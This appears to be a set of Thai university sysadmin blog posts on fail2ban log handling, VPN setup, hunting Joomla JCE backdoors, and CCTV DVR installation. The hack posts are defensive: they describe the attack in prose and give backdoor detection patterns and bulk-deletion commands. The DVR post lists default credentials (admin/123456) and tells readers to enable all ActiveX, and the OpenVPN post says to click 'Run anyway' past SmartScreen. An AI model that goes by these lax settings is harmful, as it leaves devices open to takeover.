    หลังจากแก้ไขแล้ว เพื่อที่จะ update config ใหม่ สิ่งแรกที่ควรทำ ถ้าหากว่าไฟล์ query.log มีขนาดใหญ่มากก็คือ copy+compress  ไฟล์ query.log เดิมเก็บไว้ก่อน แล้วค่อย restart ตัว fail2ban เพราะว่า ถ้าจะ restart fail2ban เลย ตัว fail2ban จะต้อง process logfile ทั้งหมดใหม่ก่อน ซึ่งจะใช้เวลานานมาก ซึ่งในกรณีของผมไฟล์ขนาด 2GB ทำให้ดูเหมือนกับว่า fail2ban ไม่ยอมทำงานหลังจาก restart แล้ว จนกระทั่งผมตรวจสอบ regex pattern ใหม่จนแน่ใจว่าเขียนถูกต้องแล้ว 2-3 รอบ ถึงจะมาเอะใจเรื่องของขนาดของ logfile ครับ

    วิธีการจัดการกับ query.log file สามารถทำตามขั้นตอนได้ตามนี้ครับ

    $ cd /var/log/named
    $ sudo service bind9 stop; sudo mv query.log query.log.save; sudo service bind9 start
    $ sudo bzip2 query.log.save &
    $ sudo service fail2ban restart

    ซึ่งคาดว่าจะหยุด bot ที่ใช้ในการโจมตีในตอนนี้ได้ชั่วคราว จนกว่าจะมีการ query โดยใช้ domain ใหม่ซึ่งไม่ปรากฏอยู่ใน list เพิ่มขึ้นมา

    ซึ่งตอนนั้น … ค่อยว่ากันอีกที -_-“

  • ติดตั้ง VPN บน Windows 8.1 ภายใน 6 ขั้นตอน (นิกาย L2TP)

    เอาว่า ใครอยากติตตั้งง่าย ลองดู (เชื่อมั่นใน L2TP ว่าจะอยู่รอดได้)

    1.คลิกขวาที่ System Tray ตรง Connection แล้วเลือก Open Network and Sharing Center
    01

     

    2.คลิก Set up a new connection or network

    02

    3.คลิก Connect to a workplace03

    4. คลิก Use my Internet connection (VPN)

    04

    5. ใส่
    Internet Address : vpn.psu.ac.th
    Destination name: PSU-VPN05

     

    6. เวลาจะใช้ ก็เลือก PSU-VPN

    06

     

     

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4

    (ตอนนี้ จะเน้นการตรวจสอบ Joomla เป็นหลักครับ)

    จาก “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3” ซึ่ง เป็นการตรวจสอบเบื้องต้นว่า มีการบุกรุกผ่านช่องโหว่ต่างๆของ Web Server เข้ามาวาง Backdoor หรือไม่ ซึ่ง ตั้งสมมุติฐานว่า Hacker จะเอาไฟล์ .php มาวางไว้ในไดเรคทอรี่ images/stories เท่านั้น

    แต่ความจริงแล้ว … ไม่ใช่เช่นนั้น

    เพราะ Hacker ต้องคิดต่อไปอีกขั้นหนึ่ง คือ ต้องวางไฟล์ Backdoor ไว้ในที่อื่นๆด้วย รวมถึง พยายามแก้ไขไฟล์ .php ของ Joomla เพื่อไม่ให้ผิดสังเกต และเป็นช่องในการกลับเข้ามาในภายหลัง

    ในบทความนี้ เป็นแนวทางปฏิบัติที่พึงดำเนินการ เพื่อการสืบสวน ค้นหา และทำลาย Backdoor ที่อื่นๆ รวมถึง เสนอแนวทางปฏิบัติ เพื่อผู้ดูแลระบบจะได้ทราบว่า มีไฟล์ใดบ้างที่เปลี่ยนแปลง ในอนาคต

    ภาพรวมขั้นตอนการปฏิบัติ

    1. ทำการตรวจสอบไฟล์ .php ใน images/stories แล้วเก็บเป็น List เอาไว้
    2. ดึงไฟล์ Backdoor ที่พบ มาเก็บไว้ก่อน ด้วยคำสั่ง tar
    3. ค้นหาไฟล์ ที่เกิดขึ้นหรือถูกแก้ไข ในเวลาใกล้เคียงกันกับ Backdoor นั้นๆ แล้วเก็บเป็น List เอาไว้
    4. ดึงไฟล์ ต้องสงสัย มาเก็บไว้ก่อน แล้ว ตรวจสอบ เป็นรายไฟล์
    5. ลบไฟล์ Backdoor จาก List ในข้อ 1.
    6. ลบไฟล์ ต้องสงสัย หลังจากการตรวจสอบในข้อ 4.
    7. ตรวจสอบ Web User คือใคร
    8. ค้นหา Directory ที่ Web User จากข้อ 7. ที่สามารถเขียนได้
    9. ค้นหา Backdoor พื้นฐานเพิ่มเติม

    รายละเอียดการปฏิบัติ

    คำสั่งต่อไปนี้ อยู่บนพื้นฐานที่ว่า
    Document Root ของ Web Server อยู่ใน /var/www/ ของแต่ละผู้ใช้
    ดังนั้น ขอให้ปรับเปลี่ยนตามระบบของท่าน

    1. ทำการตรวจสอบไฟล์ .php ใน images/stories แล้วเก็บเป็น List เอาไว้
    ใช้คำสั่งต่อไปนี้

    find /var/www/ -name "*.php" -type f | grep 'images/stories' > /tmp/backdoor.txt

    2. ดึงไฟล์ Backdoor ที่พบ มาเก็บไว้ก่อน ด้วยคำสั่ง tar เพื่อให้ในการตรวจสอบ และภายหลัง

    cat /tmp/backdoor.txt | xargs tar -cvf /tmp/backdoor.tar

    ลองตรวจสอบว่า คำสั่งดังกล่าว เก็บไฟล์ได้จริงหรือไม่ ด้วยคำสั่งต่อไปนี้

    tar -tvf /tmp/backdoor.tar

    3. ค้นหาไฟล์ ที่เกิดขึ้นหรือถูกแก้ไข ในเวลาใกล้เคียงกันกับ Backdoor นั้นๆ แล้วเก็บเป็น List เอาไว้ ให้สร้างไฟล์ ชื่อ findbackdoor.sh แล้วใส่เนื้อหาตามนี้

    #!/bin/sh
    BD="/tmp/backdoor.txt"
    TMP01="/tmp/otherbackdoor.txt"
    DMROOT="/var/www/"
    for f in $(cat $BD) ; do
        echo ":: $f ::"
        fdate=$(stat $f |grep ^Modify|awk '{print $2}')
        fdate2=$(date +%Y-%m-%d --date="$fdate 1 day")
        find $DMROOT -type f -name "*.php" -newermt $fdate ! -newermt $fdate2  >> $TMP01
        echo "------"
        echo ""
    done

    แล้วใช้คำสั่ง

    sh findbackdoor.sh

    โปรแกรมนี้จะทำการค้นหาไฟล์ ที่ถูก “สร้าง/แก้ไข” ในวันที่ backdoor ที่อยู่ใน images/stories ที่พบ และหลังจากนั้น 1 วัน  และ แสดงผลลัพธ์ไว้ในไฟล์ /tmp/otherbackdoor.txt

    4. ดึงไฟล์ ต้องสงสัย มาเก็บไว้ก่อน แล้ว ตรวจสอบ เป็นรายไฟล์

    cat /tmp/otherbackdoor.txt | xargs tar -cvf /tmp/otherbackdoor.tar

    5. ลบไฟล์ Backdoor จาก List ในข้อ 1.
    ซึ่งอยู่ในไฟล์ /tmp/backdoor.txt ด้วยคำสั่ง

    cat /tmp/backdoor.txt | sudo xargs rm -rf

    6. ลบไฟล์ ต้องสงสัย หลังจากการตรวจสอบในข้อ 4.

    คำเตือน ตรวจสอบไฟล์ที่ปรากฏใน /tmp/otherbackdoor.txt ** ทุกไฟล์ ** เพราะ ไม่ใช่ทุกไฟล์ในนี้ จะเป็น Backdoor หากตรวจสอบแล้ว พบว่า ไม่ใช่ ก็ให้ลบบรรทัดนั้น ทิ้งไป ให้ในไฟล์ /tmp/otherbackdoor.txt เหลือแต่ไฟล์ backdoor จริงๆ

    เมื่อมั่นใจแล้ว ลบด้วยคำสั่ง

    cat /tmp/otherbackdoor.txt | sudo xargs rm -rf

    ให้เก็บไฟล์ /tmp/backdoor.tar และ /tmp/otherbackdoor.tar เอาไว้ เพราะในนั้น จะปรากฏ วัน เวลา และรายละเอียดของไฟล์เอาไว้ เพื่อจะใช้ในการ ตรวจสอบหาต้นตอ และช่องโหว่ของระบบต่อไป

    7. ตรวจสอบ Web User คือใคร
    ตั้งสมมุติฐานว่า ท่านใช้ Apache Web Server ซึ่ง จะมีชื่อ Process ว่า httpd หรือไม่ก็ apache (หากใช้ตัวอื่น กรุณาประยุกต์ให้ถูกต้องด้วย) โดยใช้คำสั่ง

    ps aux|egrep -i '(apache|httpd)' > /tmp/webuser.txt

    ผลที่ได้ ให้ดูใน column แรกของไฟล์ /tmp/webuser.txt โดยทั่วไปแล้ว
    CentOS/Fedora/RedHat จะได้เป็น apache
    Linux/Debian จะได้เป็น www-data
    แต่เคยเจอ บางระบบ ให้ user อื่นเป็นคนทำงาน ดังนั้น ให้ตรวจสอบให้เหมาะสมกับระบบตนเองด้วย

    8. ค้นหา Directory ที่ Web User จากข้อ 7. ที่สามารถเขียนได้
    สมมุติ Web User ที่ได้จากข้อ 7. ชื่อ www-data และ Document Root อยู่ที่ /var/www
    ให้ใช้คำสั่งต่อไป เพื่อตรวจสอบว่า มี Directory ใดบ้าง ที่ Web User ดังกล่าวเขียนได้

    find /var/www -user www-data -perm -u+w -type d > /tmp/webuser-dir.txt

    หากพบว่า มี Directory ในไฟล์ /tmp/webuser-dir.txt ให้ ทำการปิด ไม่ให้ Web User นั้นเขียนได้ หรือ เปลี่ยนเป็นของ User อื่นแทน วิธีการนี้ จะทำให้ Hacker ไม่สามารถกลับมาเขียน Backdoor เพิ่มได้อีก

    9. ค้นหา Backdoor พื้นฐานเพิ่มเติม
    ตรวจสอบอีกครั้ง เผื่อจะมี Backdoor อื่นๆซ่อนอยู่ (วิธีการนี้ เป็นเพียง Backdoor ง่ายๆเท่านั้น แต่ดีกว่าไม่ตรวจสอบอะไร)

    find /var/www -name "*.php" -exec egrep -l "eval.*base64_decode" {} \; > /tmp/knownbackdoor.txt
    

     

    หาก Google Web Master Tools ซึ่งทางศูนย์คอมพิวเตอร์ดูแล แจ้งว่า มี Website ใด ภายใต้ Domain psu.ac.th ถูก Hack ทางศูนย์คอมพิวเตอร์ ขอดำเนินการตามนี้

    1. ปิดการเข้าถึงจากภายนอก มายัง TCP Port 80/443 ยัง IP Address ของ Web Server นั้นๆ
    2. แจ้ง ผู้ที่รับผิดชอบ Domain ของ Website ดังกล่าว
    3. ให้ผู้รับผิดชอบ ดำเนินการ ตามขั้นตอนข้อ 1-9 ข้างต้น และ ส่งผลเป็นไฟล์ดังต่อไปนี้มา
      backdoor.txt
      backdoor.tar
      otherbackdoor.txt
      otherbackdoor.tar
      webuser.txt
      webuser-dir.txt
      knowbackdoor.txt
      มาให้ศูนย์คอมพิวเตอร์ ตรวจสอบ
    4. เมื่อตรวจสอบเสร็จแล้ว ทางศูนย์คอมพิวเตอร์ อาจจะขอให้ตรวจสอบด้วยคำสั่งอื่นๆ เพื่อให้แน่ใจว่า ไม่มี Backdoor อันตรายหลงเหลืออยู่
    5. เมื่อมั่นใจแล้ว ทางผู้ดูแลระบบเครือข่าย จะเปิดให้ ภายนอก เข้ามายัง TCP Port 80/443 ยัง IP Address ดังกล่าวได้เหมือนเดิม

    ขอให้โชคดี

    (ใครเอาไปทำแล้ว ได้ผลอย่างไร ขอความกรุณารายงานผลด้วย ขอบคุณครับ)

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3

    ต่อจาก “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1” และ “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2

    จากการใช้งาน CMS ยอดนิยม อย่าง Joomla อย่างแพร่หลาย ซึ่งเป็นเรื่องง่ายในการพัฒนาเว็บไซต์ เพราะผู้ใช้ สามารถสร้างเนื้อหาได้ง่ายดาย แถมรุ่นใหม่ๆ สร้างแทรกภาพ แทรกวิดีโอได้มากมาย ทำให้เว็บไซต์น่าสนใจ

    แต่สิ่งที่แลกมา คือ ความปลอดภัย เพราะมี Joomla รุ่น 1.5 และใช้เครื่องมือการแก้ไขข้อความ (editor) ที่ชื่อว่า JCE นั้น  (รุ่นต่ำกว่า 2.5) มีช่องโหว่ ซึ่งเรียกรวมๆว่า JCE Exploited

    รายละเอียดของช่องโหว่ สามารถอ่านได้จาก http://www.bugreport.ir/78/exploit.htm

    โดยสรุป วิธีการ Hack ทำเช่นนี้

    1. ตรวจสอบว่า website เป้าหมายมี com_jce หรือไม่
    2. ถ้ามี จะส่งคำสั่ง ผ่านช่องโหว่ทาง URL เข้าไปเพื่อสร้างไฟล์ชื่อ xxxx.gif แล้วเขียนหัวไฟล์ว่า GIF89
    3. จากนั้น ก็ใส่ php code ซึ่งจะใช้เป็น Backdoor เข้าไป
    4. ใช้ช่องโหว่ JCE แก้ไขไฟล์เป็น .php

    เมื่อสามารถเขียนไฟล์ ลงไปได้แล้ว Hacker ก็จะเข้ามาจัดการเครื่องเราในภายหลัง … เช่น เบื้องต้น อาจจะวางไฟล์ 0day.php หรือ อะไรก็แล้วแต่ เพื่อเอาไปอวดเพื่อนๆว่า นี่ๆ ฉัน Hack ได้แล้ว หรือบางคน ก็เข้ามาเปลี่ยนหน้าตาของ Website และเลวร้ายที่สุด คือ สามารถเข้ามาแล้ว เอา Source Code มา Compile บนเครื่องของเรา แล้วยึดเครื่องได้เลย หรืออาจจะเข้ามาใน Network เพื่อ Scan และยิงเครื่องอื่นๆได้เลยทีเดียว

    จาก website ที่อ้างอิงข้างต้น เป็นโค๊ดที่สามารถ นำไปใช้ทดสอบเครื่องในความดูแลของตนเอง แต่ในขณะเดียวกัน ก็จะมี Hacker มือใหม่ หรือที่เรียกว่า Script Kiddie จะลองของ โดยเอา PHP, Perl Script ข้างต้น ไปลอง Hack ดู ซึ่ง … สร้างความเสียหายได้ง่ายๆ

    วิธีการตรวจสอบ ซึ่ง ผู้ดูแล Website พึงตรวจสอบเป็นประจำ

    1. พวก Script Kiddie จะเอาโค๊ดไปใช้ โดยไม่แก้ไขอะไร หรือ แก้ไขเฉพาะให้ Hack ได้ โดยจะลืมแก้ Signature ของ Script ดังภาพ (ส่วนหนึ่งของ Script)

    ดังนั้น จะใน Log File ของ Web Server ก็จะปรากฏข้อความ “BOT for JCE” ด้วย จึงสามารถใช้คำสั่งต่อไปนี้ ค้นหาว่ามีความพยายาม Hack หรือไม่

    grep -i "BOT for JCE" /var/log/httpd/domains/*.log | grep 200

    คำสั่งนี้ จะค้นหาคำว่า  “BOT for JCE” ในที่ที่เก็บ Log File คือ /var/log/httpd/domains/*.log ( ซึ่งแต่ละแห่งใช้ที่เก็บ Log ไม่เหมือนกัน เช่นอาจจะเป็น /var/log/apache2/access.log.* ก็ได้ ขอให้ปรับเปลี่ยนตามความเป็นจริง) และ grep 200 คือ ดูว่า มี Status Code เป็น 200 ซึ่งแปลว่า ติดต่อสำหรับ ดังภาพ

    ถ้าเห็นอย่างนี้บ้าง ก็แสดงว่า เครื่องของเรา มีคนมาเยี่ยมเยียนสำเร็จแล้ว …

    2. ถ้า มีการ Hack สำเร็จ ก็จะวางไฟล์ไว้ โดยพื้นฐาน จะวางไว้ที่ไดเรคทอรี่  images/stories เพราะ Joomla มักจะเปิดให้สามารถ Upload ภาพไปวางได้ เมื่อวางไฟล์ได้แล้ว ก็จะเปลี่ยนนามสกุลจาก .gif เป็น .php  วิธีการค้นหาไฟล์ต้องสงสัย จึงควรหาด้วยคำสั่ง

    find /var/www/ -name "*.php" -type f | grep 'images/stories'

    คำสั่งนี้ จะค้นหาไฟล์ใน /var/www/html ที่มีชื่อเป็น *.php และ ระบุว่า หาเฉพาะชนิดเป็น file (Option -type f) และ เมื่อค้นหาเจอแล้ว ก็จะเลือกเฉพาะที่อยู่ใน ‘images/stories’

    โดยที่ /var/www/html เป็น Web Directory หลัก หรือบางแห่งให้ผู้ใช้ใช้งานได้ใน /home ก็ปรับเปลี่ยนตามความเป็นจริง

    ผลที่ได้ ก็จะเป็นเช่นนี้

    ซึ่งโดยปรกติ ไม่ควรจะมีไฟล์ .php อยู่ใน images/stories ซึ่งเป็นพื้นที่ที่เปิดให้ Upload ไฟล์ภาพเข้ามาได้

    3. หากลองเข้าไปในไฟล์ก็จะพบว่า เป็น Backdoor จริง ตามที่กล่าวไว้ใน “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2

    ซึ่งจะเห็นได้ว่า ยังมี Back Door ที่สามารถค้นหาในเครื่องด้วยคำสั่ง (ที่เคยบอกไว้แล้ว)

    find ./ -name "*.php" -exec egrep -l "@eval.*base64_decode" {} \;

    (ก็ขอให้ไปทำกันด้วย …)

    4. แต่ก็จะมีแนวทางใหม่ๆ ซึ่งจะค้นหาด้วยคำสั่งเดิมๆไม่เจอ แบบนี้

    ซึ่ง ทำให้การตรวจสอบเป็นไปได้ยากยิ่งขึ้น … แต่หากใส่ใจกันมากขึ้น ก็จะตรวจสอบความผิดปรกติได้

    5. วิธีตรวจสอบว่า บน Web Server ของเรา มีการใช้ com_jce และ Plugin ที่เสี่ยงต่อการโดน hack หรือไม่ ใช้คำสั่งต่อไปนี้

    find /home/ -name "imgmanager.php" -type f |xargs grep '$version ='

    ผลที่ได้

    Picture1

    แนวทางป้องกัน

    1. หากใช้ Joomla ต้อง Upgrade รุ่นให้ทันสมัยเสนอ และติดตามข่าวสาร และปรับปรุงรุ่นของ Component ต่างๆให้ทันสมัยด้วย

    2. Joomla บนระบบที่ใช้งานจริง (Production) ควรจะเป็น Read Only กล่าวคือ Owner ต้องไม่ใช่ Web User เช่น httpd, apache, www-data เป็นต้น ควรจะเป็นของผู้ใช้แต่ละคน เพราะ หากเกิดการโจมตี จะโดนเป็นรายๆไป ไม่กระทบกระเทือนกัน และระมัดระวัง ผู้ใช้บางคนเปลี่ยนสิทธิ์ Permission เองเป็น 777, 757 อะไรทำนองนั้น

    3. เปลี่ยนวิธี แนวการทำงานใหม่ ห้าม ผู้ใช้แก้ไข Production Site ทาง Web Browser โดยเฉพาะ การ Upload ภาพโดยตรงจาก Web Browser เพราะ ถ้าเปิดให้ Upload ภาพได้ แสดงว่า เปิดให้ Web User สามารถเขียนได้ โดย เปลี่ยนไปใช้วิธี Upload ภาพ ผ่านทาง FTP Client เช่น FileZilla แทน วิธีการนี้ ผู้ใช้ยังสามารถแก้ไข Article ได้ตามปรกติ แต่จะไม่สามารถ Upload ภาพได้โดยตรงเท่านั้น

    4. หากจำเป็นจริงๆ ที่จะต้องเปิดให้ ผู้ใช้ และบุคคลทั่วไป Upload ไฟล์ผ่านทาง Web Browser ได้จริงๆ ก็ต้องใช้ .htaccess เพื่อปิดไม่ให้ php, perl และภาษาอื่นๆ สามารถ Execute Script เหล่านั้น ที่อยู่ในไดเรคทอรี่นั้นๆเด็ดขาด

    5. เครื่อง Production ต้องไม่มี Compiler เพราะจากประสบการณ์ เคยเจอมาแล้ว ที่ Hacker ผ่านมาทางช่องโหว่นี้ แล้ว Upload ไฟล์ .c มาวาง ยังดีที่เครื่องนั้นๆ ไม่มี Compiler

    ขอให้โชคดีครับ

    NOTE FOR Windows Server

    > Find specific file type (*.php) in ‘images/stories’

    gci e:\inetpub\vhosts -rec -include “*stories*” | where {$_.psiscontainer} | gci -Filter “*.php”

    > Find Log files in ‘statistics’ folder with name “*.log” which has “BOT for JCE”

    gci e:\inetpub\vhosts -rec -include “statistics” | where {$_.psiscontainer} | gci -rec -filter “*.log” | get-content | select-string -pattern “BOT for JCE”

    > Find imgmanager.php and the version of file

    gci e:\inetpub\vhosts -rec -filter “imgmanager.php” | get-content | select-string -pattern “version = ”

    > Find some known backdoor

    gci e:\inetpub\vhoss -rec -filter “*.php” | get-content | select-string -pattern “@eval.*base64_decode”

  • วิธีการติดตั้ง OpenVPN 2.3.16 สำหรับ Windows

    [Update 16/06/60]

    วิธีการติดตั้งเป็นขั้นตอนง่าย ๆ ครับดังนี้ครับ

    1. ดาวน์โหลดไฟล์ติดตั้ง OpenVPN (โปรดเลือกให้ตรงกับ Windows Version ที่ตัวเองใช้อยู่ครับ)

    [วิธีดูว่า Windows เป็น Version อะไร]

    2014-10-23_205005

    [Link สำหรับ Windows XP 32bit]
    http://ftp.psu.ac.th/pub/openvpn/openvpn-install-2.3.16-I001-i686.exe

    [Link สำหรับ Windows XP 64bit]
    http://ftp.psu.ac.th/pub/openvpn/openvpn-install-2.3.16-I001-x86_64.exe

    [Link สำหรับ Windows Vista/7/8/8.1/10 32bit]
    http://ftp.psu.ac.th/pub/openvpn/openvpn-install-2.3.16-I601-i686.exe

    [Link สำหรับ Windows Vista/7/8/8.1/10 64bit]
    http://ftp.psu.ac.th/pub/openvpn/openvpn-install-2.3.16-I601-x86_64.exe

    2. ทำการติดตั้ง OpenVPN 2.3.16 (ให้รันให้ตรงกับไฟล์ที่โหลดมาครับ สำหรับ Windows Vista/7/8/8.1 64bit) โดยคลิกขวา Run as Admin ดังรูป (จากนั้น Next ๆ ติดตั้งตามปกติ)


    • ในกรณีที่เป็น Windows 10 (บาง Version) จะติด Windows SmartScreen ดังรูปให้กด More info แล้วเลือก Run anyway ดังรูป

    2016-03-23_131341

    2016-03-23_131408

    3. ดาวน์โหลดไฟล์ Config VPN และ PSU Cert

    http://ftp.psu.ac.th/pub/openvpn/openvpncer.zip

    3.1) แตก Zip File ดังรูป

    2014-10-23_205426

    3.2) จะได้ไฟล์ 2 ไฟล์ ให้ทำการ copy ไฟล์ดังกล่าวไว้

    2014-10-23_205511

    3.3) ทำการวางไฟล์ทั้งสองใน c:\Program Files\OpenVPN\config

    pic3

    4. จากนั้นทำการตั้งค่าให้ Run as Administrator ทุกครั้งที่เปิดใช้ OpenVPN GUI ที่
    c:\Program Files\OpenVPN\bin ดังรูป

    2016-03-23_132008
    หรือสามารถรันตรง ๆ ได้ดังนี้ (ผลเหมือนกัน แต่แนะนำให้ตั้งค่าไว้เลยแบบรูปข้างบน จะได้ไม่ต้องมา Run as administrator ทุกครั้ง เหมือนรูปข้างล่างนี้)

    2014-10-23_211144

    [TIP]

    วิธีการเพิ่ม shotcut ไว้ที่ taskbar บน Windows 8.1

    2014-09-19_104434

    วิธีการเพิ่ม shotcut ไว้ที่ taskbar บน Windows 10

    2016-03-23_132311

    วิธี Re-Check ว่าได้  IP VPN แล้วหรือยัง

    1. ตรวจสอบโดยเอาเมาส์ไปวางบน icon ดังรูปแล้วสังเกตุเบอร์ IP ในช่อง Assigned IP :

    2014-09-19_104905

     

    2. เปิด Web Browser พิมพ์ URL : http://server-dev.psu.ac.th/checkipvpn ตรวจสอบว่า IP ตรงกับข้อ 1 หรือไม่ ถ้าตรงแสดงว่าสามารถใช้งาน VPN ได้แล้วครับ

    2014-09-19_105017

    วิธีตรวจสอบว่าแบบละเอียดว่าโปรแกรมทำงานเป็นปกติหรือไม่

    (บางครั้งถึง icon เขียวก็ไม่ได้บอกว่าจะใช้ได้) ถ้าปรากฎข้อความดังภาพแสดงว่าเส้นทางการเชื่อมต่อสมบูรณ์

    2014-10-23_210631

  • การติดตั้งเครื่องบันทึกภาพกล้องวงจรปิด

    การติดตั้งเครื่องบันทึกภาพกล้องวงจรปิด

    • เตรียมอุปกรณ์ Hardware
    • เตรียมชุดข้อมูล Software+config
    • Config ระบบอินเทอร์เน็ต

    เตรียมอุปกรณ์ Hardware มีอะไรบ้าง ? (สำหรับการติดตั้งกล้องวงจรปิด 4 ช่องสัญญาณครับ)

    1. สาย RG สีขาวยี่ห้อ Link หรือ Commscope ยาว 100 เมตร

    2. หัวแจ๊คสัญญาณ RG 6 (BNC Type) จำนวน 4 ตัว

    3. รางเก็บสายไฟฟ้า PVC สีขาว 5*5 cm ยาว 4 m.

    4.สายไฟฟ้า VCT 2*0.5  SQ.mm หรือ VCT 2*1.5 SQ.mm ความยาว 20 เมตร

    5.ปลั๊กตัวเมีย 2 ตัว

    6. กล่องกันน้ำขนาด 6*6*8 จำนวน 2 ใบ

    7. เกลียวปล่อยขนาด #7*1 หัว JP  30 ตัว

    8 พุกผีเสื้อจำนวน 30 ตัว

    9.เครื่องบันทึกภาพ 4 ช่อง INNEKT ZLD104A H.264 Full D1 อินเตอร์เฟช GUI OSD, คอนโทรลเลอร์ USB Mouse 4CH

    10.กล้องอินฟาเรด ขนาด 1/3″CMOS ความละเอียด 600 TVL

    11.Harddisk western digital ขนาด 500 GB

    รวมราคา 14,097.25 บาท นี่คือราคาของอุปกรณ์ Hardware ที่เราซื้อมาติดตั้ง รวม Vat 7% แล้วนะครับ

    สำหรับการเดินสายอุปกรณ์ทั้งหมดในส่วนของ Hardware ต้องขอขอบพระคุณพี่ประเสริฐ นายช่างใหญ่จากจังหวัดภูเก็ตเดินทางมาติดตั้งให้ครับ (งานนี้จะเป็นงานเดินสายสัญญาณบนฝ้าเพดานครับ)

     

     

    การเชื่อมต่ออุปกรณ์กล้องวงจรปิด

     

    รูปที่ 1 แสดงการเชื่อมต่ออุปกรณ์กล้องวงจรปิด

     

    เตรียมอุปกรณ์ Software+Config มีอะไรบ้าง ? (สำหรับการติดตั้งกล้องวงจรปิด 4 ช่องสัญญาณครับ)

     

    1. หน้าจอสำหรับ Monitor เครื่อง DVR  สำหรับการเข้าใช้งานครั้งแรก

     

    •       ใส่ User Name : admin , Password : 123456   (การทำงานของระบบคลิกซ้ายคือการเข้าใช้งาน คลิกขวาคือการย้อนกลับไปยังเมนูก่อนหน้า)

    2. วิธีการตั้งค่าวันที่และเวลาเครื่อง

    • คลิกขวาเลือก Main Menu > Configuration > System ตั้งค่าวันที่และเวลาเรียบร้อยแล้วกดปุ่ม Save กด Apply และกด OK

    3. วิธีการตั้งค่าการบันทึก

    • คลิกขวาเลือก Main Menu > Configuration >Record
    • Channel คือ การเลือกกล้อง
    • Resolution คือขนาดของภาพ แนะนำที่ D1
    • Frame Rate คือ ความเร็วในการบันทึก Real-time อยู่ที่ 25 FPS
    • สามารถ config All Channel ได้จากฟังก์ชัน Copy ครับ

    4. วิธีการเลือกรูปแบบการบันทึก สามารถเลือกได้ 3 รูปแบบ คือ บันทึกตลอดเวลา, บันทึกเฉพาะเวลาที่ต้องการ และบันทึกเมื่อมีเหตุการณ์

    • การตั้งค่าการบันทึกตลอดเวลา คลิกขวาเลือก > Record > Manual
    • การตั้งค่าบันทึกเฉพาะเวลาที่ต้องการ คลิกขวาเลือก > Record > Schedule  เมื่อเลือกการตั้งค่าแบบนี้จำเป็นต้องตั้งค่าเวลาที่ต้องการบันทึก สามารถทำได้โดย คลิกขวาเลือก Main Menu > Configuration >Record > Record Plan  โดยแถบสีเขียว คือ การบันทึกแบบ Manual, แถบสีเหลือง คือ การบันทึกแบบ Motion และ แถบสีแดงคือการบันทึกแบบ Alarm
    • กดปุ่ม Set เพื่อทำการตั้งค่าเวลาที่ต้องการบันทึก
    • การตั้งค่าบันทึกเมื่อมีเหตุการณ์  จำเป็นต้องตั้งค่า Record ให้เป็น Schedule ก่อนโดยเข้าไปที่เมนู คลิกขวา > Record > Schedule หลังจากนั้นเข้าไปที่ฟังก์ชัน Alarm เพื่อตั้งค่าการบันทึก คลิกขวา Main Menu > Configuration >Alarm > Detect  เลือก Channel ที่ต้องการบันทึกเมื่อมีเหตุการณ์ เพื่อกำหนดพื้นที่ในการตรวจจับและความไวในการตรวจจับวัตถุ (ที่สถาบัน ก็เลือกการตั้งค่าแบบนี้ครับเพราะไม่เปลือง Harddisk)
    • หลังจากกำหนดพื้นที่ในการตรวจจับวัตถุและความไวในการตรวจจับวัตถุได้ ขั้นตอนต่อมาให้เข้าไปที่เมนู Process เพื่อเลือกกล้องที่ต้องการบันทึกเมื่อมีเหตุการณ์  เข้าไปที่เมนู Process > Linkage Set > Record Channel

    5. วิธีการใช้งานโปรแกรม iNNEKT ผ่านคอมพิวเตอร์

    • ก่อนที่จะใช้งานโปรแกรม iNNEKT ผ่านคอมพิวเตอร์ได้นั้นต้องตั้งค่าระบบก่อนสามารถทำได้โดยคลิกขวาเลือก Main Menu > Configuration > Network
    • IP Address : ใส่ IP ที่อยู่ใน group เดียวกับคอมพิวเตอร์
    • Gateway : ให้ใส่เป็นค่า IP ของ Router
    • หลังจากตั้งค่า IP และ gateway แล้วต้องตั้งค่า Port ที่เมนู Advance เลือก Multicast
    • TCP Port : 8000 , HTTP Port : 80
    • ลงโปรแกรม แผ่น CD Software ที่แถมมาให้ตอนซื้อเครื่องบันทึกภาพ (เครื่อง DVR)  ผมลงโปรแกรมบน Window 7 Professional 32 bit ครับ  เมื่อลง Software เสร็จเรียบร้อย ถ้าหากดับเบิ้ลคลิกโปรแกรมจะไม่สามารถเข้าใช้งานได้ ต้องคลิกขวา –>Run as administrator ครับ

    เมื่อเปิดโปรแกรมจะขึ้นแบบนี้

     

     

    login

     

    รูปที่ 2 แสดงการเข้าสู่ระบบผ่านคอมพิวเตอร์

    • ให้กด OK เพื่อเข้าสู่ระบบได้เลยครับ
    • จากนั้นไปเลือกเมนู Setting > Device Config เพื่อ Add Device ครับ
    • เลือก Search Device (อุปกรณ์ต้องอยู่ในวงแลนเดียวกัน)
    • กดที่ Device แล้วกด Add
    • เข้ามาแก้ไขชื่ออุปกรณ์
    • ใส IP Address หรือ Host name
    • ใส่ User name : admin , Password : 123456
    • กดปุ่ม Get Device Channel Count
    • กดปุ่ม Select Organization First เพื่อเลือกที่อยู่
    • ใส่ Device Port  : 8000
    • กดปุ่ม Update

    6. ขั้นตอนการดูภาพผ่าน Web Browser

    • ทดลองใน IE 10 นะครับ ใส่ IP Address ของเครื่อง DVR ครับ : 192.168.xx.xx
    • ใส่ Username : admin , Password : 123456
    • หากเจอปัญหา ActiveX  ให้เลือก Tool > Internet Option
    • เลือก Security > Custom level
    • ในส่วนที่เป็น ActiveX เลือกเป็น Enable ให้หมด ถ้าหัวข้อไหนเลือก Enable แล้วมีแถบสีแดงให้เลือกเป็น Prompt แทน

    กล้อง

    รูปที่ 3 แสดงการการดูผ่านเวบ

     

    7. การดูผ่านโทรศัพท์มือถือ

    • สามารถดาวโหลด Application เพื่อดูผ่านโทรศัพท์มือถือได้ มีเวอร์ชั่น Iphone, Android
    • วิธีการลงโปรแกรม IZee Pro เข้าไปที่ Store แล้ว Search โปรแกรม IZee Pro แล้วทำการติดตั้ง
    • add device เข้าไปที่เมนู Device List ใส่ค่า Name , Address , TCP port , User ID,password
    • กดปุ่ม Save จะได้ Device มาอยู่บน List

    Config ระบบอินเทอร์เน็ต

    • ต้องขอขอบคุณ พี่โกศล โภคาอนนต์ ศูนย์คอมที่ช่วย Fig IP Address ให้กับอุปกรณ์ DVR ทำให้สามารถเข้าดูผ่านอินเทอร์เน็ตได้
